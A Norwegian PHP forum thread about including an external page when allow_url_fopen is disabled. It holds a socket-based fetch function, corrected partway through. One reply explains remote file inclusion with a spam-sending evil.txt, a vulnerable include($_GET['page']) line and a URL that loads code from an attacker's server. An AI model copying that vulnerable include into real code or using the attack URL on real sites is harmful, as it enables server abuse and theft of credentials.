Gå til innhold

include ekstern side


Anbefalte innlegg

Å hente ut en side fra en http-server uten allow_url_fopen er ikke videre trivielt, så snille meg har skrevet litt kode som bruker socket som bør fungere uavhengig av hva php.ini er satt til. Viktig å merke seg at $file-parameteren må være fra rota og fremover. Den kan være inkludert query-string aka f.eks fil.php?a=b

<?php

function getPage($host, $file, $port=80)
{
$socket = fsockopen($host, $port);
if ($socket === false)
	return false;
else
{
	$request = "GET /$file HTTP/1.0\r\n";
	$request.= "Host: $host\r\n";
	$request.= "Content-Type: text/html\r\n";
	$request.= "Connection: Close\r\n\r\n";

	fwrite($socket, $request);
	$data = '';
	$found = false;
	while (feof($socket) === true)   
	{
		if ($found === false)
		{
			//Looking for first empty line. Everything after that is data
			// according to the HTTP protocol
			$line = fgets($socket);
			if (strcmp("\r\n", $line) === 0)
				$found = true;
		}
		else
			$data .= fgets($socket);
	}
	fclose($socket);
	return $data;
}
}

echo getPage('www.diskusjon.no', 'index.php');
?>

 

btw det hjalp ikke å sett ini_set('allow_url_fopen', 1);. kunnejo sett i selve php.ini fila men har ikke peiling på hvor den ligger på servern da...

 

Kommer helt an på serveren din. Kjører du Linux ligger den i /etc/php5/apache2/

Kjører du windows ligger den der du har installert PHP.

Normalt er det vel /etc/php.ini ;)

 

Red.: Fikset litt på indenteringen i koden.

Red.2: Byttet om på parameterene og la til default 80 på $port.

Red.3: Liten clean-up i kodestilen.

Red.4: fclose er kanskje ikke så dumt? :)

 

Det funket ikke med det scriptet der heller.... må nok bruke iframes. har vært i kontakt med kundeservice hos hosten min da, og jeg har ikke tilgang til å redigere php.ini fila. og de ville ikke sette allow_url_fopen til enabel. da dette utgjør en stor sikkerhetsrisiko sa de.. er dette så stor sikkerhetsrisko?

Lenke til kommentar
Videoannonse
Annonse

Heh ... det var jo ikke så rart

<?php

function getPage($host, $file, $port=80)
{
$socket = fsockopen($host, $port);
if ($socket === false)
	return false;
else
{
	$request = "GET /$file HTTP/1.0\r\n";
	$request.= "Host: $host\r\n";
	$request.= "Content-Type: text/html\r\n";
	$request.= "Connection: Close\r\n\r\n";

	fwrite($socket, $request);
	$data = '';
	$found = false;
	while (feof($socket) === false)   
	{
		if ($found === false)
		{
			//Looking for first empty line. Everything after that is data
			// according to the HTTP protocol
			$line = fgets($socket);
			if (strcmp("\r\n", $line) === 0)
				$found = true;
		}
		else
			$data .= fgets($socket);
	}
	fclose($socket);
	return $data;
}
}

echo getPage('www.diskusjon.no', 'index.php');
?>

Nå skal det fungere :)

Lenke til kommentar
må nok bruke iframes. har vært i kontakt med kundeservice hos hosten min da, og jeg har ikke tilgang til å redigere php.ini fila. og de ville ikke sette allow_url_fopen til enabel. da dette utgjør en stor sikkerhetsrisiko sa de.. er dette så stor sikkerhetsrisko?

 

Ja...

 

Se for det evil.txt som jeg legger på minserver.no:

<?php

for (i = 0; i < 100000; i++) {

mail("[email protected]", "SPAM", "SPAM");

}

?>

 

Så har du dette i index.php på dinserver.no:

<?php

include ($_GET['page']);

?>

 

Da kan jeg kjøre "dinserver.no?page=http://minserver.no/evil.txt" og denne vil sende 100000 mailer fra din server.

Dette er bare et eksempel på hva jeg kan gjøre, jeg kan jo og f.eks få den til å vise innholdet i config.inc.php, eller lignende filer på din server (og dermed få tak i passord til database, o.l).

Lenke til kommentar

@Ernie

 

Det fungerte. :) kjempe fint.. lurer bare på en ting til ang dette.. går det ann (med det scriptet ditt) å includere en av sidene som ligger i en under mappe. feks: www.enside.com/mappe/index.php

 

@ZoRaC

 

Okey da skjønner jeg at det utgjør en stor risiko.

Lenke til kommentar
@Ernie

 

Det fungerte. :) kjempe fint.. lurer bare på en ting til ang dette.. går det ann (med det scriptet ditt) å includere en av sidene som ligger i en under mappe. feks: www.enside.com/mappe/index.php

Jepp, alt etter www.domene.no/ i en hvilken som helst URL kjører du inn som $file. I ditt eksempel blir det da mappe/index.php.

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...